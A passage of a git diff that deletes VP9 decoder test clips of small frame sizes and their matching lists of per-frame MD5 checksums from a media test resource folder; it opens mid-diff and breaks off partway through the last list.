--- a/tests/tests/media/res/raw/vp90_2_02_size_18x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x18_vp9_md5
deleted file mode 100644
index 9600c40e..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-83790b0e7004d8d89b7134ee1a88d885  vp90-2-02-size-18x18-18x18-0001.i420
-0baf0bf556ae56d2f4b04567e6ac7ed9  vp90-2-02-size-18x18-18x18-0002.i420
-c648854a4d49f7e407a2450cf4ba292a  vp90-2-02-size-18x18-18x18-0003.i420
-510c3aca23339841ffc72ed5c75d184e  vp90-2-02-size-18x18-18x18-0004.i420
-1c1f3116ec4d4ee1ad790652e49233ad  vp90-2-02-size-18x18-18x18-0005.i420
-f94891f4e16fd32d638a2c696f5922e6  vp90-2-02-size-18x18-18x18-0006.i420
-e164814c22e38cbe45312dfd48d987fc  vp90-2-02-size-18x18-18x18-0007.i420
-f582515fcc6c4308ad931d2f6cf371a0  vp90-2-02-size-18x18-18x18-0008.i420
-0a446974bd227ee34a1621a2b7852abb  vp90-2-02-size-18x18-18x18-0009.i420
-beca28bdae8d1fe20036b3646f3109cd  vp90-2-02-size-18x18-18x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x32.vp9
deleted file mode 100644
index f288c06..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x32_vp9_md5
deleted file mode 100644
index 697fa7d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-62eabc8819ded6ddba2c3a5029497cf0  vp90-2-02-size-18x32-18x32-0001.i420
-b760182fddf8bc05f149e80bbcb2c281  vp90-2-02-size-18x32-18x32-0002.i420
-0c44be0472ebd2653ce9fb174c6180ab  vp90-2-02-size-18x32-18x32-0003.i420
-bbb033c3bfeeb6f59cb43013597b9d92  vp90-2-02-size-18x32-18x32-0004.i420
-a769975cdbc6529525f7cac8a0d9299a  vp90-2-02-size-18x32-18x32-0005.i420
-15b02059bbced62f19c0626efea1ecb9  vp90-2-02-size-18x32-18x32-0006.i420
-47f4b50322ed31649bdcfffb05c70fa2  vp90-2-02-size-18x32-18x32-0007.i420
-8649cdd0a958047839f5b6e7bbf6f288  vp90-2-02-size-18x32-18x32-0008.i420
-2c766e3fd3882a9a5aff52ffe9d1d341  vp90-2-02-size-18x32-18x32-0009.i420
-184a62b7332a1c24acbf03f670fb7ac1  vp90-2-02-size-18x32-18x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x34.vp9
deleted file mode 100644
index 6b8c0724..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x34_vp9_md5
deleted file mode 100644
index 2b9926c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-612cc424eaae924cb25c7732c422f752  vp90-2-02-size-18x34-18x34-0001.i420
-010e8c2a814862529fcf8d7771ba2d7f  vp90-2-02-size-18x34-18x34-0002.i420
-7d791b7a5916738998f77586339d5840  vp90-2-02-size-18x34-18x34-0003.i420
-aeada5f59f3dda9ab3e898f305428cb2  vp90-2-02-size-18x34-18x34-0004.i420
-06af894d38a1f0d3665c0081f5397ddf  vp90-2-02-size-18x34-18x34-0005.i420
-24bf31323c568e652550e9d35de9c96c  vp90-2-02-size-18x34-18x34-0006.i420
-a9681ec47d3e6a19321b9ea47221dc3f  vp90-2-02-size-18x34-18x34-0007.i420
-73ae7268df79c4012952bd3e8011e894  vp90-2-02-size-18x34-18x34-0008.i420
-67aa4145398ca17036959251cb4ce17b  vp90-2-02-size-18x34-18x34-0009.i420
-de247b80114c722da849f5aa23adbb38  vp90-2-02-size-18x34-18x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x64.vp9
deleted file mode 100644
index da13d78..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x64_vp9_md5
deleted file mode 100644
index 0fbd0c0..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-72c74de547d9ed1b17bc962dbd5e0bb1  vp90-2-02-size-18x64-18x64-0001.i420
-462849f9e2204738e9f08b40e682a6ae  vp90-2-02-size-18x64-18x64-0002.i420
-f0ee17692fd816747b11d5737b511cda  vp90-2-02-size-18x64-18x64-0003.i420
-0234d23406660ede76dd22b35a708390  vp90-2-02-size-18x64-18x64-0004.i420
-6544fdb9dc225d155820d3c7dfc909eb  vp90-2-02-size-18x64-18x64-0005.i420
-1c073544794389596177512fb4dcffce  vp90-2-02-size-18x64-18x64-0006.i420
-864709daac7b091d33afa2210c145084  vp90-2-02-size-18x64-18x64-0007.i420
-b049c4ac941743613ede9a41b16acde5  vp90-2-02-size-18x64-18x64-0008.i420
-ad0c4adb0efec03729a79f42eec66267  vp90-2-02-size-18x64-18x64-0009.i420
-146057d941f5a47eb8b2c9eefeaf3100  vp90-2-02-size-18x64-18x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x66.vp9
deleted file mode 100644
index b1ffba7..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x66_vp9_md5
deleted file mode 100644
index 46a7a3d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c3fc4a1593b9cc2f3752106af8539386  vp90-2-02-size-18x66-18x66-0001.i420
-7f2ffe6bc1750f6749bb5ad12cbaf34b  vp90-2-02-size-18x66-18x66-0002.i420
-2539b10a981d59ef54efd77cd7276aaa  vp90-2-02-size-18x66-18x66-0003.i420
-0bff22b4dfb7485fbedd6ff5b99673d1  vp90-2-02-size-18x66-18x66-0004.i420
-6a2b38f4abee785260a61bc60f16e7fa  vp90-2-02-size-18x66-18x66-0005.i420
-2fbb69b5519b51548bf1ee425ff79c55  vp90-2-02-size-18x66-18x66-0006.i420
-dbd267028be2256111b2411b91fcc117  vp90-2-02-size-18x66-18x66-0007.i420
-12b2f1003633c9e19cae3d0fda06102d  vp90-2-02-size-18x66-18x66-0008.i420
-d419a756c492867523af5185fd57d989  vp90-2-02-size-18x66-18x66-0009.i420
-8a7d36760bf5db32baef349b97316b47  vp90-2-02-size-18x66-18x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x08.vp9
deleted file mode 100644
index 97e741c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x08_vp9_md5
deleted file mode 100644
index b744f57..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c7b30cde5664387b0f7a80d9b01e4fe2  vp90-2-02-size-32x08-32x8-0001.i420
-2228a2a4e54ab5145525e5803c314dcd  vp90-2-02-size-32x08-32x8-0002.i420
-8c048469eba24f3163c36b7461b3b42a  vp90-2-02-size-32x08-32x8-0003.i420
-f6b8e8e701dea09dcf1158e9a52921c6  vp90-2-02-size-32x08-32x8-0004.i420
-b3a5fde0daf2eef8fc08521f88f79692  vp90-2-02-size-32x08-32x8-0005.i420
-653ae11cc1380ae7f39b2e007f896d81  vp90-2-02-size-32x08-32x8-0006.i420
-6e66fe002a7dff95e13cc9d3d13d9686  vp90-2-02-size-32x08-32x8-0007.i420
-13308c917a1e22c2f702afc32b8a23c2  vp90-2-02-size-32x08-32x8-0008.i420
-4fee1e63f9452dc3f81c1d634bd7f41d  vp90-2-02-size-32x08-32x8-0009.i420
-666b43ead5c7c99ae5b7637da5aa4d62  vp90-2-02-size-32x08-32x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x10.vp9
deleted file mode 100644
index acfa19b..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x10_vp9_md5
deleted file mode 100644
index cb40846..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-7c5b5df373ebfd31d210ff910e02213b  vp90-2-02-size-32x10-32x10-0001.i420
-c5b0a5e3eceb792b15818324a43aa2a8  vp90-2-02-size-32x10-32x10-0002.i420
-1d9c0eafd4638dfe4fe308174fde2faf  vp90-2-02-size-32x10-32x10-0003.i420
-47301d12055944b35008028761cf5e7b  vp90-2-02-size-32x10-32x10-0004.i420
-9586ac1087423dcd3b0ff96d43ae475e  vp90-2-02-size-32x10-32x10-0005.i420
-26bfe1afea96c7ef2084fffd1fa99a33  vp90-2-02-size-32x10-32x10-0006.i420
-0995c8a1935266159a7ef3f95d7f4697  vp90-2-02-size-32x10-32x10-0007.i420
-8cfcc0ea67507ab7f3551d8ac50f93a5  vp90-2-02-size-32x10-32x10-0008.i420
-658cf3cb887b055d9de7d50db4eb78a9  vp90-2-02-size-32x10-32x10-0009.i420
-856bd5189688f7ccfe9995752bc0f1f6  vp90-2-02-size-32x10-32x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x16.vp9
deleted file mode 100644
index dec3c01..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x16_vp9_md5
deleted file mode 100644
index 7609114..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-7c2818db2632e5c5beee17e7105d9209  vp90-2-02-size-32x16-32x16-0001.i420
-cead72bd22995e98b54a91c7b4a20975  vp90-2-02-size-32x16-32x16-0002.i420
-eb6baee5d65d778052c88ba5db2f9174  vp90-2-02-size-32x16-32x16-0003.i420
-1f5f38e89e985e9e4172446de05e91fd  vp90-2-02-size-32x16-32x16-0004.i420
-57b57ffcb03627942fc5868324a10feb  vp90-2-02-size-32x16-32x16-0005.i420
-4b4066a452d8e9cd687cd611f5d9cb88  vp90-2-02-size-32x16-32x16-0006.i420
-113e5069b2a4d2c2e802b72649eb435d  vp90-2-02-size-32x16-32x16-0007.i420
-e176bb233f76f9fd4c55d62d53487b60  vp90-2-02-size-32x16-32x16-0008.i420
-f2ff3def712a846ea7b678bd9078e32b  vp90-2-02-size-32x16-32x16-0009.i420
-21007ed1c727c5ccc5955188a2cec276  vp90-2-02-size-32x16-32x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x18.vp9
deleted file mode 100644
index 2062e61..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x18_vp9_md5
deleted file mode 100644
index 4bd047f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-9da5409d344e7b8380688569e54803a5  vp90-2-02-size-32x18-32x18-0001.i420
-9b51e14e2e624ee2b430e9eaf1a48798  vp90-2-02-size-32x18-32x18-0002.i420
-b8811779f363b9a595e3a92737771ea9  vp90-2-02-size-32x18-32x18-0003.i420
-e5a0c335e5e713a3e77fff0b65127fb9  vp90-2-02-size-32x18-32x18-0004.i420
-1bffa3283b463a356794c8f7a73f8c54  vp90-2-02-size-32x18-32x18-0005.i420
-97c13270621a583eb9e13c05f9d792f0  vp90-2-02-size-32x18-32x18-0006.i420
-a6f81a4dde1ffc352ebe9d8ab8782f35  vp90-2-02-size-32x18-32x18-0007.i420
-91a955a86ce9378ff3442794ce0934c6  vp90-2-02-size-32x18-32x18-0008.i420
-2e4f8938e9c88b328a258a0b99366ea6  vp90-2-02-size-32x18-32x18-0009.i420
-adbbbc192cf36e1fc7c308824765d482  vp90-2-02-size-32x18-32x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x32.vp9
deleted file mode 100644
index fbfa4ab..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x32_vp9_md5
deleted file mode 100644
index 4e5b3c4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-117915db1856cee26f05a609c8c8de2e  vp90-2-02-size-32x32-32x32-0001.i420
-943771a98b26b174e88ed1f4e872e504  vp90-2-02-size-32x32-32x32-0002.i420
-3e0d2585e1f1cb540998d107aca5c395  vp90-2-02-size-32x32-32x32-0003.i420
-e64a9e1e0232983a69ab48453025b23d  vp90-2-02-size-32x32-32x32-0004.i420
-2c6ef6637fb7b9425f7d7ea28cd84087  vp90-2-02-size-32x32-32x32-0005.i420
-419a5a31a43955d408c13ee8a5ddce9c  vp90-2-02-size-32x32-32x32-0006.i420
-2ab13e1c236553d42d59498ca350b190  vp90-2-02-size-32x32-32x32-0007.i420
-b8068beb037f3232d4da38fe33a8a885  vp90-2-02-size-32x32-32x32-0008.i420
-160df68b9e3f75e9b1f8ed7cce327bc2  vp90-2-02-size-32x32-32x32-0009.i420
-1ccafa8c7babdce0983aeb20d298b0ee  vp90-2-02-size-32x32-32x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x34.vp9
deleted file mode 100644
index 7ea9965..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x34_vp9_md5
deleted file mode 100644
index 28b1e11..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-770582911fd0095ebbeae384e87665ac  vp90-2-02-size-32x34-32x34-0001.i420
-f99d7e3131f04413cba2f9de6818976d  vp90-2-02-size-32x34-32x34-0002.i420
-3bfbb8c9c48f24cd596973a6deb33a3f  vp90-2-02-size-32x34-32x34-0003.i420
-0b8166afdd357f20c76f77d228bb7171  vp90-2-02-size-32x34-32x34-0004.i420
-3a3d7f2a03e19a82250d6ca0238f9791  vp90-2-02-size-32x34-32x34-0005.i420
-9b558f9b8744b016059f69f3fca90d2c  vp90-2-02-size-32x34-32x34-0006.i420
-c857736342f1145d919cb77732120006  vp90-2-02-size-32x34-32x34-0007.i420
-11dc5dda4c883a3146db060dd50343d0  vp90-2-02-size-32x34-32x34-0008.i420
-7526a62ae87de174be86eac7bb36c7f3  vp90-2-02-size-32x34-32x34-0009.i420
-9ef38f47cfc461710ff0dd75690473c0  vp90-2-02-size-32x34-32x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x64.vp9
deleted file mode 100644
index 0bc9223..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x64_vp9_md5
deleted file mode 100644
index d00ccc6..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-caa8471a8b381d53c3e8fc627946a871  vp90-2-02-size-32x64-32x64-0001.i420
-2cba86ea14c0f28e242625b08f5e9b88  vp90-2-02-size-32x64-32x64-0002.i420
-cea0440ff6569fc82c3030e0340fb649  vp90-2-02-size-32x64-32x64-0003.i420
-c18ef37f1356ade96a2f40af954b31c8  vp90-2-02-size-32x64-32x64-0004.i420
-21e6e549378bcff47913ef292e74dc37  vp90-2-02-size-32x64-32x64-0005.i420
-a9d3d483f74a5afe5d80725ce696fd20  vp90-2-02-size-32x64-32x64-0006.i420
-a436e2586b0963747deaf5e450e2b230  vp90-2-02-size-32x64-32x64-0007.i420
-9daaadf265df56974cb0950843d9fd8c  vp90-2-02-size-32x64-32x64-0008.i420
-e0b84714bad2519e62b7d16705fb09d5  vp90-2-02-size-32x64-32x64-0009.i420
-8cdfce574edbe548da7f6cd9a7076b9e  vp90-2-02-size-32x64-32x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x66.vp9
deleted file mode 100644
index 9d96d3d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x66_vp9_md5
deleted file mode 100644
index 4a00973..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-920ea4b8a00d41489d122d641d6e4fe5  vp90-2-02-size-32x66-32x66-0001.i420
-8bfc8d452a79f2978b8e973b77cbf8a8  vp90-2-02-size-32x66-32x66-0002.i420
-09f3f0d31d3377a844fa5385d9b36b9f  vp90-2-02-size-32x66-32x66-0003.i420
-df43fae763da9360c8062bb92ee091a8  vp90-2-02-size-32x66-32x66-0004.i420
-445d8c675bb865d1814fcfa6b8a9afd3  vp90-2-02-size-32x66-32x66-0005.i420
-dc7d43db86aac6636724de8790eda555  vp90-2-02-size-32x66-32x66-0006.i420
-d3a9fc272424449ffc5b7e69f8f9948b  vp90-2-02-size-32x66-32x66-0007.i420
-11ef33b9bccca54b3703bf24ab55e2d6  vp90-2-02-size-32x66-32x66-0008.i420
-ce31b8bf9b00b427ca956abb800d8034  vp90-2-02-size-32x66-32x66-0009.i420
-e707f824d6e95d482bf3a0b4d52ea069  vp90-2-02-size-32x66-32x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x08.vp9
deleted file mode 100644
index 3a1d276..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x08_vp9_md5
deleted file mode 100644
index 2940416..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c14f2ba5b4582c9d3a488976814691b3  vp90-2-02-size-34x08-34x8-0001.i420
-4387a4dce19007b7efb810b5a4069749  vp90-2-02-size-34x08-34x8-0002.i420
-ecfe868d28f4861a5612edfd57447a02  vp90-2-02-size-34x08-34x8-0003.i420
-5cba54f568534d29169ac31c8fa505e0  vp90-2-02-size-34x08-34x8-0004.i420
-fe9aab7b3378b9fc3e373ee626b887db  vp90-2-02-size-34x08-34x8-0005.i420
-fce72dfc7f9c0cb50ff73761b4d82c1f  vp90-2-02-size-34x08-34x8-0006.i420
-d4d98f42b1377e0f0ffaa66aa81d40c3  vp90-2-02-size-34x08-34x8-0007.i420
-65c027646dc95a749ce2d7ad0a6beccc  vp90-2-02-size-34x08-34x8-0008.i420
-317b283a0d907270f671272771022e69  vp90-2-02-size-34x08-34x8-0009.i420
-d3e2c008584608502f3e24c5c5f64028  vp90-2-02-size-34x08-34x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x10.vp9
deleted file mode 100644
index 336a18a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x10_vp9_md5
deleted file mode 100644
index 9e19ab4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fd7212b519783cf4831ce4bff91f2312  vp90-2-02-size-34x10-34x10-0001.i420
-9768722ee939d80a6716865fdebca33d  vp90-2-02-size-34x10-34x10-0002.i420
-328ee0f774eeafde00dcc4b9a8f4e9af  vp90-2-02-size-34x10-34x10-0003.i420
-f882fa6015fcb042094eadab5fa952cf  vp90-2-02-size-34x10-34x10-0004.i420
-4331a3dabeae27d2bf3590eb96ce914a  vp90-2-02-size-34x10-34x10-0005.i420
-0e15106bd8e90377f6ed8b464d17159c  vp90-2-02-size-34x10-34x10-0006.i420
-8f062653ac2b83f7e541393e838d0e0f  vp90-2-02-size-34x10-34x10-0007.i420
-eeb98c1728c1a74510f8bfaf10fc0002  vp90-2-02-size-34x10-34x10-0008.i420
-30bb058a67d6a5ee3693b21cbca5349a  vp90-2-02-size-34x10-34x10-0009.i420
-7ce4b79983b3abc37b141a3bea56e0b7  vp90-2-02-size-34x10-34x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x16.vp9
deleted file mode 100644
index 41d41f3..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x16_vp9_md5
deleted file mode 100644
index 1c01cd4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e443c43101be00470c6a61c1a2995b5a  vp90-2-02-size-34x16-34x16-0001.i420
-1e79b1b46ec704d360b5fb725913b0f1  vp90-2-02-size-34x16-34x16-0002.i420
-6d5e77cafab6bc43498980c515d299d3  vp90-2-02-size-34x16-34x16-0003.i420
-91c3bba5fd2aa29ee54c8f3783cfe5a2  vp90-2-02-size-34x16-34x16-0004.i420
-9548d07c2a6204694d34e973e8339077  vp90-2-02-size-34x16-34x16-0005.i420
-6819a34c7e3c13bee3ea2b18e12e92fd  vp90-2-02-size-34x16-34x16-0006.i420
-f75920457f01f65bf30ba1ec41076d4e  vp90-2-02-size-34x16-34x16-0007.i420
-3a04f6cc0c348c21464b173ac6005043  vp90-2-02-size-34x16-34x16-0008.i420
-93a3336374e8cc4dfb2c0b4716ab60ec  vp90-2-02-size-34x16-34x16-0009.i420
-148af188b8a2ee93de406a01c2af180d  vp90-2-02-size-34x16-34x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x18.vp9
deleted file mode 100644
index 9c2f4ea..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x18_vp9_md5
deleted file mode 100644
index 74ee172..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-ab7eabb355e5163e7451945018fadebd  vp90-2-02-size-34x18-34x18-0001.i420
-b9a77cc0c769535808996a6de7b374ff  vp90-2-02-size-34x18-34x18-0002.i420
-bd773f11d89091b3c9ebc22d8291dd49  vp90-2-02-size-34x18-34x18-0003.i420
-278c215d6c188752818f07f4d317c0e0  vp90-2-02-size-34x18-34x18-0004.i420
-b59856932c675c1ba587644c23cdb002  vp90-2-02-size-34x18-34x18-0005.i420
-2bcaef04f89326a56025269a68742043  vp90-2-02-size-34x18-34x18-0006.i420
-5abb4a1b96b4bc003cd19a146347c54e  vp90-2-02-size-34x18-34x18-0007.i420
-26e36058f451ff80d498ac1c0343489f  vp90-2-02-size-34x18-34x18-0008.i420
-57ac43fcc6f1a2c863188aca68d52524  vp90-2-02-size-34x18-34x18-0009.i420
-282467118b5b7a986ccd28d16dab3ea7  vp90-2-02-size-34x18-34x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x32.vp9
deleted file mode 100644
index 2c020b4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x32_vp9_md5
deleted file mode 100644
index fb6d77d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-7e334867e27046fabf0f39365311c38c  vp90-2-02-size-34x32-34x32-0001.i420
-d2a49216ecedea62f546e54c1552f163  vp90-2-02-size-34x32-34x32-0002.i420
-f66e10d1779533e5b6e2b98369134833  vp90-2-02-size-34x32-34x32-0003.i420
-0054b8d4393df58eee87784862a29901  vp90-2-02-size-34x32-34x32-0004.i420
-b9cdf3ebea0d1e3f1e0c42db2e11a3c2  vp90-2-02-size-34x32-34x32-0005.i420
-c08a728d955a559457c82e44c3296148  vp90-2-02-size-34x32-34x32-0006.i420
-d05f4c4a8b0e606525c3d388d26a9351  vp90-2-02-size-34x32-34x32-0007.i420
-78fc2544da88a1a21d6626b0f7bbcf8c  vp90-2-02-size-34x32-34x32-0008.i420
-90832c4fed05390377551359bb9a91f7  vp90-2-02-size-34x32-34x32-0009.i420
-5290a0e77081863398f36c7ae192710b  vp90-2-02-size-34x32-34x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x34.vp9
deleted file mode 100644
index bcc9c17..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x34_vp9_md5
deleted file mode 100644
index 36d92f5..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1bb98ba89abf6b86f47a851f8126e1ff  vp90-2-02-size-34x34-34x34-0001.i420
-b960cc795c179afe7eec360c57fddd7f  vp90-2-02-size-34x34-34x34-0002.i420
-a93cd094a80c542ecb7b6ac7720c5eff  vp90-2-02-size-34x34-34x34-0003.i420
-f1cd34e4f0bf9b1238769f028708b742  vp90-2-02-size-34x34-34x34-0004.i420
-f01437ad14450d2136a8fc971f180eb7  vp90-2-02-size-34x34-34x34-0005.i420
-8778230f1182c2227bf1e253bd85df4c  vp90-2-02-size-34x34-34x34-0006.i420
-1d1d5cf6c5cc9e73a1fa5b882e441d74  vp90-2-02-size-34x34-34x34-0007.i420
-2f7a1867487c56c252e35225f71adb55  vp90-2-02-size-34x34-34x34-0008.i420
-1d1aea21f70ceed596f22ec32d8712ee  vp90-2-02-size-34x34-34x34-0009.i420
-260e66df92f32bc853f4cd4ede692ea4  vp90-2-02-size-34x34-34x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x64.vp9
deleted file mode 100644
index daa63a3..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x64_vp9_md5
deleted file mode 100644
index 6a6795e..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-3856635223f578e1e7f7e7250a53cb8d  vp90-2-02-size-34x64-34x64-0001.i420
-ee8d7c3a0ea165420d7e733b9e59219a  vp90-2-02-size-34x64-34x64-0002.i420
